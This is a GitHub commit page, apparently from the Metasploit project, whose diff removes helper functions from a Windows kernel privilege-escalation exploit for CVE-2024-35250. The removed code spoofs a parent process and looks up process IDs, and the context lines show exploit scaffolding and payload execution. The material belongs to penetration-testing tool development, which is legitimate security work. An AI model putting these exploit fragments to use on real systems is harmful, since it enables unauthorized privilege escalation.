Skip to content

Commit

Permalink
Removed unnecessary code from exploit.cpp
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Nov 5, 2024
1 parent 5bc3e04 commit 10cd8d1
Showing 1 changed file with 0 additions and 69 deletions.
69 changes: 0 additions & 69 deletions external/source/exploits/CVE-2024-35250/exploit.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,6 @@ Required privileges: Medium IL
#define _INC_MMREG
#define _PREVIOUS_MODE 0xbaba

#define DEBUGTRACE 1
#include <Windows.h>
#include <winternl.h>
#include <strmif.h>
Expand Down Expand Up @@ -199,74 +198,6 @@ NTSTATUS Write64(void* Dst, void* Src, size_t Size)
}
return Status;
}
//
// original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
//
DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size;
BOOL ret;

// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
ZeroMemory(&si, sizeof(STARTUPINFOEXA));

InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// Finally, create the process
ret = CreateProcessA(
NULL,
command,
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);

if (ret == false) {
return 3;
}

return 0;
}

ULONG GetPidByName(const wchar_t* procname) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);

ULONG pid;

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (wcscmp((const wchar_t*)entry.szExeFile, procname) == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}

CloseHandle(snapshot);
return pid;
}


void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
if (!pMsfPayload)
Expand Down

0 comments on commit 10cd8d1

Please sign in to comment.